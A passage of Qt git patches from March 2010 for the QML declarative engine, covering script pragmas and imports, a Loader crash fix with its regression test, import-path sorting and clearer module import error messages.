dot(QLatin1Char('.')); + const QChar semicolon(QLatin1Char(';')); + const QChar space(QLatin1Char(' ')); + const QString pragma(QLatin1String(".pragma ")); + + const QChar *pragmaData = pragma.constData(); + + const QChar *data = script.constData(); + const int length = script.count(); + for (int ii = 0; ii < length; ++ii) { + const QChar &c = data[ii]; + + if (c.isSpace()) + continue; + + if (c == forwardSlash) { + ++ii; + if (ii >= length) + return rv; + + const QChar &c = data[ii]; + if (c == forwardSlash) { + // Find next newline + while (ii < length && data[++ii] != newline) {}; + } else if (c == star) { + // Find next star + while (true) { + while (ii < length && data[++ii] != star) {}; + if (ii + 1 >= length) + return rv; + + if (data[ii + 1] == forwardSlash) { + ++ii; + break; + } + } + } else { + return rv; + } + } else if (c == dot) { + // Could be a pragma! + if (ii + pragma.length() >= length || + 0 != ::memcmp(data + ii, pragmaData, sizeof(QChar) * pragma.length())) + return rv; + + int pragmaStatementIdx = ii; + + ii += pragma.length(); + + while (ii < length && data[ii].isSpace()) { ++ii; } + + int startIdx = ii; + + while (ii < length && data[ii].isLetter()) { ++ii; } + + int endIdx = ii; + + if (ii != length && data[ii] != forwardSlash && !data[ii].isSpace() && data[ii] != semicolon) + return rv; + + QString p(data + startIdx, endIdx - startIdx); + + if (p == QLatin1String("library")) + rv |= QDeclarativeParser::Object::ScriptBlock::Shared; + else + return rv; + + for (int jj = pragmaStatementIdx; jj < endIdx; ++jj) script[jj] = space; + + } else { + return rv; + } + } + + return rv; +} + void QDeclarativeScriptParser::clear() { if (root) { diff --git a/src/declarative/qml/qdeclarativescriptparser_p.h b/src/declarative/qml/qdeclarativescriptparser_p.h index b8f77d1..68f1840 100644 --- a/src/declarative/qml/qdeclarativescriptparser_p.h +++ b/src/declarative/qml/qdeclarativescriptparser_p.h @@ -75,7 +75,7 @@ public: public: Import() : type(Library) {} - enum Type { Library, File }; + enum Type { Library, File, Script }; Type type; QString uri; @@ -112,6 +112,8 @@ public: QList errors() const; + static QDeclarativeParser::Object::ScriptBlock::Pragmas extractPragmas(QString &); + // ### private: TypeReference *findOrCreateType(const QString &name); void setTree(QDeclarativeParser::Object *tree); diff --git a/src/declarative/qml/qdeclarativetypenamecache.cpp b/src/declarative/qml/qdeclarativetypenamecache.cpp index f94f944..c4a8707 100644 --- a/src/declarative/qml/qdeclarativetypenamecache.cpp +++ b/src/declarative/qml/qdeclarativetypenamecache.cpp @@ -63,6 +63,21 @@ void QDeclarativeTypeNameCache::clear() engine = 0; } +void QDeclarativeTypeNameCache::add(const QString &name, int importedScriptIndex) +{ + if (stringCache.contains(name)) + return; + + QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine); + + RData *data = new RData; + // ### Use typename class + data->identifier = ep->objectClass->createPersistentIdentifier(name); + data->importedScriptIndex = importedScriptIndex; + stringCache.insert(name, data); + identifierCache.insert(data->identifier.identifier, data); +} + void QDeclarativeTypeNameCache::add(const QString &name, QDeclarativeType *type) { if (stringCache.contains(name)) diff --git a/src/declarative/qml/qdeclarativetypenamecache_p.h b/src/declarative/qml/qdeclarativetypenamecache_p.h index eee5b77..3e24f5c 100644 --- a/src/declarative/qml/qdeclarativetypenamecache_p.h +++ b/src/declarative/qml/qdeclarativetypenamecache_p.h @@ -73,8 +73,10 @@ public: inline ~Data(); QDeclarativeType *type; QDeclarativeTypeNameCache *typeNamespace; + int importedScriptIndex; }; + void add(const QString &, int); void add(const QString &, QDeclarativeType *); void add(const QString &, QDeclarativeTypeNameCache *); @@ -97,7 +99,7 @@ private: }; QDeclarativeTypeNameCache::Data::Data() -: type(0), typeNamespace(0) +: type(0), typeNamespace(0), importedScriptIndex(-1) { } diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp index b3144a8..2338bc3 100644 --- a/src/declarative/qml/qdeclarativevme.cpp +++ b/src/declarative/qml/qdeclarativevme.cpp @@ -259,8 +259,9 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, case QDeclarativeInstruction::CreateComponent: { - QObject *qcomp = new QDeclarativeComponent(ctxt->engine, comp, ii + 1, instr.createComponent.count, - stack.isEmpty() ? 0 : stack.top()); + QDeclarativeComponent *qcomp = + new QDeclarativeComponent(ctxt->engine, comp, ii + 1, instr.createComponent.count, + stack.isEmpty() ? 0 : stack.top()); QDeclarativeDeclarativeData *ddata = QDeclarativeDeclarativeData::get(qcomp, true); Q_ASSERT(ddata); @@ -275,6 +276,8 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, ddata->lineNumber = instr.line; ddata->columnNumber = instr.create.column; + QDeclarativeComponentPrivate::get(qcomp)->creationContext = ctxt; + stack.push(qcomp); ii += instr.createComponent.count; } @@ -581,6 +584,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack, } break; + case QDeclarativeInstruction::StoreImportedScript: + { + ctxt->addImportedScript(scripts.at(instr.storeScript.value)); + } + break; + case QDeclarativeInstruction::StoreScriptString: { QObject *target = stack.top(); diff --git a/tools/qml/content/Browser.qml b/tools/qml/content/Browser.qml index 62996ef..391ded8 100644 --- a/tools/qml/content/Browser.qml +++ b/tools/qml/content/Browser.qml @@ -22,38 +22,36 @@ Rectangle { SystemPalette { id: palette } - Script { - function down(path) { - if (folders == folders1) { - view = view2 - folders = folders2; - view1.state = "exitLeft"; - } else { - view = view1 - folders = folders1; - view2.state = "exitLeft"; - } - view.x = root.width; - view.state = "current"; - view.focus = true; - folders.folder = path; + function down(path) { + if (folders == folders1) { + view = view2 + folders = folders2; + view1.state = "exitLeft"; + } else { + view = view1 + folders = folders1; + view2.state = "exitLeft"; } - function up() { - var path = folders.parentFolder; - if (folders == folders1) { - view = view2 - folders = folders2; - view1.state = "exitRight"; - } else { - view = view1 - folders = folders1; - view2.state = "exitRight"; - } - view.x = -root.width; - view.state = "current"; - view.focus = true; - folders.folder = path; + view.x = root.width; + view.state = "current"; + view.focus = true; + folders.folder = path; + } + function up() { + var path = folders.parentFolder; + if (folders == folders1) { + view = view2 + folders = folders2; + view1.state = "exitRight"; + } else { + view = view1 + folders = folders1; + view2.state = "exitRight"; } + view.x = -root.width; + view.state = "current"; + view.focus = true; + folders.folder = path; } Component { -- cgit v0.12 From 9490f107983197ca86e959d6470bd829a17642e5 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Mon, 22 Mar 2010 16:22:33 +1000 Subject: Compile in namespace --- src/declarative/graphicsitems/qdeclarativepath.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp index 20fa983..8cd990fc 100644 --- a/src/declarative/graphicsitems/qdeclarativepath.cpp +++ b/src/declarative/graphicsitems/qdeclarativepath.cpp @@ -43,6 +43,7 @@ #include "qdeclarativepath_p_p.h" #include +#include #include @@ -312,7 +313,6 @@ QStringList QDeclarativePath::attributes() const Q_D(const QDeclarativePath); return d->_attributes; } -#include static inline QBezier nextBezier(const QPainterPath &path, int *from, qreal *bezLength) { -- cgit v0.12 From 5efe6549e5248fbe5b20c8a18fec64d248d7b87c Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 22 Mar 2010 16:47:18 +1000 Subject: Fix Loader crash. If setting the source of a Loader triggered a change to the source (i.e. the thing being loaded set the source to something else) a crash would occur. We now no longer delete the component immediately when the source changes. Task-number: QTBUG-9241 --- .../graphicsitems/qdeclarativeloader.cpp | 11 +++++++++- .../qdeclarativeloader/data/BlueRect.qml | 8 ++++++++ .../qdeclarativeloader/data/GreenRect.qml | 7 +++++++ .../declarative/qdeclarativeloader/data/crash.qml | 14 +++++++++++++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 24 ++++++++++++++++++++++ 5 files changed, 63 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml create mode 100644 tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml create mode 100644 tests/auto/declarative/qdeclarativeloader/data/crash.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 6dbcd16..745734e 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -66,7 +66,7 @@ void QDeclarativeLoaderPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem void QDeclarativeLoaderPrivate::clear() { if (ownComponent) { - delete component; + component->deleteLater(); component = 0; ownComponent = false; } @@ -285,7 +285,16 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() return; } + QDeclarativeComponent *c = component; QObject *obj = component->create(ctxt); + if (component != c) { + // component->create could trigger a change in source that causes + // component to be set to something else. In that case we just + // need to cleanup. + delete obj; + delete ctxt; + return; + } if (obj) { ctxt->setParent(obj); item = qobject_cast(obj); diff --git a/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml b/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml new file mode 100644 index 0000000..3b49f6a --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml @@ -0,0 +1,8 @@ +import Qt 4.6 + +Rectangle { + objectName: "blue" + width: 100 + height: 100 + color: "blue" +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml b/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml new file mode 100644 index 0000000..7ee3513 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Rectangle { + width: 100; height: 100 + color: "green" + Component.onCompleted: myLoader.source = "BlueRect.qml" +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/crash.qml b/tests/auto/declarative/qdeclarativeloader/data/crash.qml new file mode 100644 index 0000000..8474e78 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/crash.qml @@ -0,0 +1,14 @@ +import Qt 4.6 + +Rectangle { + width: 400 + height: 400 + + function setLoaderSource() { + myLoader.source = "GreenRect.qml" + } + + Loader { + id: myLoader + } +} diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 61b2800..2c20836 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -88,6 +88,8 @@ private slots: void failNetworkRequest(); // void networkComponent(); + void deleteComponentCrash(); + private: QDeclarativeEngine engine; }; @@ -459,6 +461,28 @@ void tst_QDeclarativeLoader::failNetworkRequest() delete loader; } +// QTBUG-9241 +void tst_QDeclarativeLoader::deleteComponentCrash() +{ + QDeclarativeComponent component(&engine, TEST_FILE("/crash.qml")); + QDeclarativeItem *item = qobject_cast(component.create()); + QVERIFY(item); + + item->metaObject()->invokeMethod(item, "setLoaderSource"); + + QDeclarativeLoader *loader = qobject_cast(item->QGraphicsObject::children().at(0)); + QVERIFY(loader); + QVERIFY(loader->item()); + QCOMPARE(loader->item()->objectName(), QLatin1String("blue")); + QCOMPARE(loader->progress(), 1.0); + QCOMPARE(loader->status(), QDeclarativeLoader::Ready); + QCOMPARE(static_cast(loader)->children().count(), 1); + QEXPECT_FAIL("", "QTBUG-9245", Continue); + QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/BlueRect.qml")); + + delete item; +} + QTEST_MAIN(tst_QDeclarativeLoader) #include "tst_qdeclarativeloader.moc" -- cgit v0.12 From ced9f453fb7648c04a60932901bd370405c701eb Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Mon, 22 Mar 2010 09:09:57 +0100 Subject: Remove non-existing header from pri file Got added in 081fafe395d52. --- src/declarative/util/util.pri | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri index 61b4f6f..f537806 100644 --- a/src/declarative/util/util.pri +++ b/src/declarative/util/util.pri @@ -58,8 +58,7 @@ HEADERS += \ $$PWD/qdeclarativebehavior_p.h \ $$PWD/qdeclarativefontloader_p.h \ $$PWD/qdeclarativestyledtext_p.h \ - $$PWD/qdeclarativelistmodelworkeragent_p.h \ - $$PWD/qdeclarativelistmodelworkeragent_p_p.h + $$PWD/qdeclarativelistmodelworkeragent_p.h contains(QT_CONFIG, xmlpatterns) { QT+=xmlpatterns -- cgit v0.12 From 1eff66c4bd4133f210ac7904c6da08108d002709 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Mon, 22 Mar 2010 15:52:23 +0100 Subject: Remove exporting of QDeclarativeContext class symbols We're not using it in QmlDesigner any more --- src/declarative/qml/qdeclarativecontext_p.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index ecf3ec8..f07045e 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -81,7 +81,7 @@ class QDeclarativeBinding_Id; class QDeclarativeCompiledBindings; class QDeclarativeContextData; -class Q_DECLARATIVE_EXPORT QDeclarativeContextPrivate : public QObjectPrivate +class QDeclarativeContextPrivate : public QObjectPrivate { Q_DECLARE_PUBLIC(QDeclarativeContext) public: -- cgit v0.12 From d6b7df53f78c542f0a86d10f22f3459190fc58f7 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Mon, 22 Mar 2010 15:52:50 +0100 Subject: Use canonical form for headers Allows QmlDesigner to use qdeclarativestate_p_p.h Reviewed-by: Marco Bubke --- src/declarative/util/qdeclarativestate_p_p.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativestate_p_p.h b/src/declarative/util/qdeclarativestate_p_p.h index 6f52219..558c99b 100644 --- a/src/declarative/util/qdeclarativestate_p_p.h +++ b/src/declarative/util/qdeclarativestate_p_p.h @@ -58,8 +58,8 @@ #include "qdeclarativeanimation_p_p.h" #include "qdeclarativetransitionmanager_p_p.h" -#include -#include +#include +#include #include -- cgit v0.12 From 83e395ba6de068ac4ecece860cc429a4697445d0 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 23 Mar 2010 08:57:57 +1000 Subject: Add Script removal to QmlChanges.txt --- src/declarative/QmlChanges.txt | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 7c584b4d..5da0f13 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -25,6 +25,44 @@ syntax has been introduced: Item { Behavior on x {}; NumberAnimation on y {} } Only the syntax has changed, the behavior is identical. +Script element removed +---------------------- +Inline Script{} blocks have been deprecated, and will soon be removed entirely. +If you used Script to write inline javascript code, it can simply be removed. +For example + +Item { + Script { + function doSomething() {} + } +} + +becomes + +Item { + function doSomething() {} +} + +If you used Script to include external JavaScript files, you can replace the +Script element with an “import” line. For example + +MouseArea { + Script { + source: “foo.js” + } + onClicked: foo() +} + +becomes + +Import “foo.js” as Foo +MouseArea { + onClicked: Foo.foo() +} + +The “as” qualifier is mandatory for script imports (as opposed to type +imports where it is optional). + ============================================================================= The changes below are pre Qt 4.7.0 alpha -- cgit v0.12 From 2b098cd37d86bc7c843225412c90948affb8fef1 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Fri, 19 Mar 2010 09:17:17 +1000 Subject: Test imports with realistic paths (previously passed accidentally). Fix failure when import path is ancestor dir of other import path. --- src/declarative/qml/qdeclarativeengine.cpp | 13 ++++++++++--- .../com/nokia/AutoTestQmlPluginType/qmldir | 1 - .../declarative/qdeclarativemoduleplugin/data/works.qml | 3 +++ .../imports/com/nokia/AutoTestQmlPluginType/qmldir | 1 + tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml | 3 --- .../declarative/qdeclarativemoduleplugin/plugin/plugin.pro | 2 +- .../tst_qdeclarativemoduleplugin.cpp | 7 ++++--- 7 files changed, 19 insertions(+), 11 deletions(-) delete mode 100644 tests/auto/declarative/qdeclarativemoduleplugin/com/nokia/AutoTestQmlPluginType/qmldir create mode 100644 tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml create mode 100644 tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir delete mode 100644 tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 0bedbeb..c49c464 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1418,6 +1418,11 @@ struct QDeclarativeEnginePrivate::ImportedNamespace { } }; +static bool greaterThan(const QString &s1, const QString &s2) +{ + return s1 > s2; +} + class QDeclarativeImportsPrivate { public: QDeclarativeImportsPrivate() : ref(1) @@ -1495,6 +1500,8 @@ public: // add fileImportPath last, this is *not* search order. paths += QDeclarativeEnginePrivate::get(engine)->fileImportPath; + qSort(paths.begin(), paths.end(), greaterThan); // Ensure subdirs preceed their parents. + QString stableRelativePath = dir; foreach( QString path, paths) { if (dir.startsWith(path)) { @@ -1545,11 +1552,11 @@ public: paths += applicationDirPath; paths += QDeclarativeEnginePrivate::get(engine)->environmentImportPath; - #if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) +#if (QT_VERSION >= QT_VERSION_CHECK(4,7,0)) QString builtinPath = QLibraryInfo::location(QLibraryInfo::ImportsPath); - #else +#else QString builtinPath; - #endif +#endif if (!builtinPath.isEmpty()) paths += builtinPath; diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/com/nokia/AutoTestQmlPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/com/nokia/AutoTestQmlPluginType/qmldir deleted file mode 100644 index 0a8b5d4..0000000 --- a/tests/auto/declarative/qdeclarativemoduleplugin/com/nokia/AutoTestQmlPluginType/qmldir +++ /dev/null @@ -1 +0,0 @@ -plugin plugin diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml b/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml new file mode 100644 index 0000000..f29ae24 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/data/works.qml @@ -0,0 +1,3 @@ +import com.nokia.AutoTestQmlPluginType 1.0 + +MyPluginType { value: 123 } diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir new file mode 100644 index 0000000..0a8b5d4 --- /dev/null +++ b/tests/auto/declarative/qdeclarativemoduleplugin/imports/com/nokia/AutoTestQmlPluginType/qmldir @@ -0,0 +1 @@ +plugin plugin diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml b/tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml deleted file mode 100644 index f29ae24..0000000 --- a/tests/auto/declarative/qdeclarativemoduleplugin/plugin.qml +++ /dev/null @@ -1,3 +0,0 @@ -import com.nokia.AutoTestQmlPluginType 1.0 - -MyPluginType { value: 123 } diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro index 035cb7d..fc77225 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro +++ b/tests/auto/declarative/qdeclarativemoduleplugin/plugin/plugin.pro @@ -2,5 +2,5 @@ TEMPLATE = lib CONFIG += plugin SOURCES = plugin.cpp QT = core declarative -DESTDIR = ../com/nokia/AutoTestQmlPluginType +DESTDIR = ../imports/com/nokia/AutoTestQmlPluginType diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp index 1335c7c..26199d3 100644 --- a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp +++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.cpp @@ -48,8 +48,8 @@ class tst_qdeclarativemoduleplugin : public QObject { Q_OBJECT public: - tst_qdeclarativemoduleplugin() { - QCoreApplication::addLibraryPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("plugin")); + tst_qdeclarativemoduleplugin() + { } private slots: @@ -103,9 +103,10 @@ void tst_qdeclarativemoduleplugin::importsPlugin() { QSKIP("Fix me", SkipAll); QDeclarativeEngine engine; + engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports")); QTest::ignoreMessage(QtWarningMsg, "plugin created"); QTest::ignoreMessage(QtWarningMsg, "import worked"); - QDeclarativeComponent component(&engine, TEST_FILE("plugin.qml")); + QDeclarativeComponent component(&engine, TEST_FILE("data/works.qml")); foreach (QDeclarativeError err, component.errors()) qWarning() << err; VERIFY_ERRORS(0); -- cgit v0.12 From 190b2667b54eff4540e6b204d0cda39847417a52 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Tue, 23 Mar 2010 09:26:17 +1000 Subject: Manual merge. --- src/declarative/qml/parser/qdeclarativejs.g | 4 ++- .../qml/parser/qdeclarativejsparser.cpp | 4 ++- .../qml/qdeclarativecompositetypemanager.cpp | 10 ++++-- src/declarative/qml/qdeclarativeengine.cpp | 39 ++++++++++++++++++++-- src/declarative/qml/qdeclarativeengine_p.h | 3 +- src/declarative/qml/qdeclarativemetatype.cpp | 28 ++++++++++++++++ src/declarative/qml/qdeclarativemetatype_p.h | 2 ++ .../qdeclarativedom/data/import/Bar.qml | 2 ++ .../qdeclarativedom/data/importdir/Bar.qml | 2 -- .../qdeclarativedom/data/importlib/sublib/Foo.qml | 2 ++ .../qdeclarativedom/data/importlib/sublib/qmldir | 1 + .../data/importlib/sublib/qmldir/Foo.qml | 2 -- .../qdeclarativedom/tst_qdeclarativedom.cpp | 3 +- .../data/importNewerVersion.errors.txt | 1 + .../data/importNewerVersion.qml | 3 ++ .../data/importNonExist.errors.txt | 1 + .../qdeclarativelanguage/data/importNonExist.qml | 5 +++ .../tst_qdeclarativelanguage.cpp | 2 ++ 18 files changed, 99 insertions(+), 15 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativedom/data/import/Bar.qml delete mode 100644 tests/auto/declarative/qdeclarativedom/data/importdir/Bar.qml create mode 100644 tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml create mode 100644 tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir delete mode 100644 tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/importNewerVersion.qml create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/importNonExist.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/importNonExist.qml diff --git a/src/declarative/qml/parser/qdeclarativejs.g b/src/declarative/qml/parser/qdeclarativejs.g index 493ad25..0256c52 100644 --- a/src/declarative/qml/parser/qdeclarativejs.g +++ b/src/declarative/qml/parser/qdeclarativejs.g @@ -665,7 +665,9 @@ case $rule_number: { sym(1).Node = node; - if (! node) { + if (node) { + node->importToken = loc(1); + } else { diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, loc(1), QLatin1String("Expected a qualified name id or a string literal"))); diff --git a/src/declarative/qml/parser/qdeclarativejsparser.cpp b/src/declarative/qml/parser/qdeclarativejsparser.cpp index c86e047..9205ef4 100644 --- a/src/declarative/qml/parser/qdeclarativejsparser.cpp +++ b/src/declarative/qml/parser/qdeclarativejsparser.cpp @@ -284,7 +284,9 @@ case 20: { sym(1).Node = node; - if (! node) { + if (node) { + node->importToken = loc(1); + } else { diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, loc(1), QLatin1String("Expected a qualified name id or a string literal"))); diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index c883805..c59e5e2 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -570,12 +570,15 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData } } + QString errorString; if (!QDeclarativeEnginePrivate::get(engine)-> - addToImport(&unit->imports, qmldircomponentsnetwork, imp.uri, imp.qualifier, vmaj, vmin, imp.type)) + addToImport(&unit->imports, qmldircomponentsnetwork, imp.uri, imp.qualifier, vmaj, vmin, imp.type, &errorString)) { QDeclarativeError error; error.setUrl(unit->imports.baseUrl()); - error.setDescription(tr("Import %1 unavailable").arg(imp.uri)); + error.setDescription(errorString); + error.setLine(imp.location.start.line); + error.setColumn(imp.location.start.column); unit->status = QDeclarativeCompositeTypeData::Error; unit->errorType = QDeclarativeCompositeTypeData::GeneralError; unit->errors << error; @@ -605,7 +608,8 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData QLatin1String("."), QString(), -1, -1, - QDeclarativeScriptParser::Import::File); + QDeclarativeScriptParser::Import::File, + 0); // error ignored (just means no fallback) } diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index c49c464..d4872e2 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1517,7 +1517,7 @@ public: - bool add(const QUrl& base, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri_arg, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QDeclarativeEngine *engine) + bool add(const QUrl& base, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri_arg, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QDeclarativeEngine *engine, QString *errorString) { QDeclarativeDirComponents qmldircomponents = qmldircomponentsnetwork; QString uri = uri_arg; @@ -1576,12 +1576,31 @@ public: } } + if (!found) { + found = QDeclarativeMetaType::isModule(uri.toUtf8(), vmaj, vmin); + if (!found) { + if (errorString) { + bool anyversion = QDeclarativeMetaType::isModule(uri.toUtf8(), 0, 0); + if (anyversion) + *errorString = QDeclarativeEngine::tr("module \"%1\" version %2.%3 is not installed").arg(uri_arg).arg(vmaj).arg(vmin); + else + *errorString = QDeclarativeEngine::tr("module \"%1\" is not installed").arg(uri_arg); + } + return false; + } + } } else { if (importType == QDeclarativeScriptParser::Import::File && qmldircomponents.isEmpty()) { QUrl importUrl = base.resolved(QUrl(uri + QLatin1String("/qmldir"))); QString localFileOrQrc = toLocalFileOrQrc(importUrl); if (!localFileOrQrc.isEmpty()) { + QString dir = toLocalFileOrQrc(base.resolved(QUrl(uri))); + if (dir.isEmpty() || !QDir().exists(dir)) { + if (errorString) + *errorString = QDeclarativeEngine::tr("\"%1\": no such directory").arg(uri_arg); + return false; // local import dirs must exist + } uri = resolvedUri(toLocalFileOrQrc(base.resolved(QUrl(uri))), engine); qmldircomponents = importExtension(localFileOrQrc, uri, @@ -1589,6 +1608,20 @@ public: if (uri.endsWith(QLatin1Char('/'))) uri.chop(1); + } else { + if (prefix.isEmpty()) { + // directory must at least exist for valid import + QString localFileOrQrc = toLocalFileOrQrc(base.resolved(QUrl(uri))); + if (localFileOrQrc.isEmpty() || !QDir().exists(localFileOrQrc)) { + if (errorString) { + if (localFileOrQrc.isEmpty()) + *errorString = QDeclarativeEngine::tr("import \"%1\" has no qmldir and no namespace").arg(uri); + else + *errorString = QDeclarativeEngine::tr("\"%1\": no such directory").arg(uri); + } + return false; + } + } } } @@ -1962,12 +1995,12 @@ QString QDeclarativeEnginePrivate::resolvePlugin(const QDir &dir, const QString The base URL must already have been set with Import::setBaseUrl(). */ -bool QDeclarativeEnginePrivate::addToImport(Imports* imports, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType) const +bool QDeclarativeEnginePrivate::addToImport(Imports* imports, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, QDeclarativeScriptParser::Import::Type importType, QString *errorString) const { QDeclarativeEngine *engine = QDeclarativeEnginePrivate::get(const_cast(this)); if (qmlImportTrace()) qDebug().nospace() << "QDeclarativeEngine::addToImport " << imports << " " << uri << " " << vmaj << '.' << vmin << " " << (importType==QDeclarativeScriptParser::Import::Library? "Library" : "File") << " as " << prefix; - bool ok = imports->d->add(imports->d->base,qmldircomponentsnetwork, uri,prefix,vmaj,vmin,importType, engine); + bool ok = imports->d->add(imports->d->base,qmldircomponentsnetwork, uri,prefix,vmaj,vmin,importType, engine, errorString); return ok; } diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index 6532d30..06b5027 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -283,7 +283,8 @@ public: bool addToImport(Imports*, const QDeclarativeDirComponents &qmldircomponentsnetwork, const QString& uri, const QString& prefix, int vmaj, int vmin, - QDeclarativeScriptParser::Import::Type importType) const; + QDeclarativeScriptParser::Import::Type importType, + QString *errorString) const; bool resolveType(const Imports&, const QByteArray& type, QDeclarativeType** type_return, QUrl* url_return, int *version_major, int *version_minor, diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp 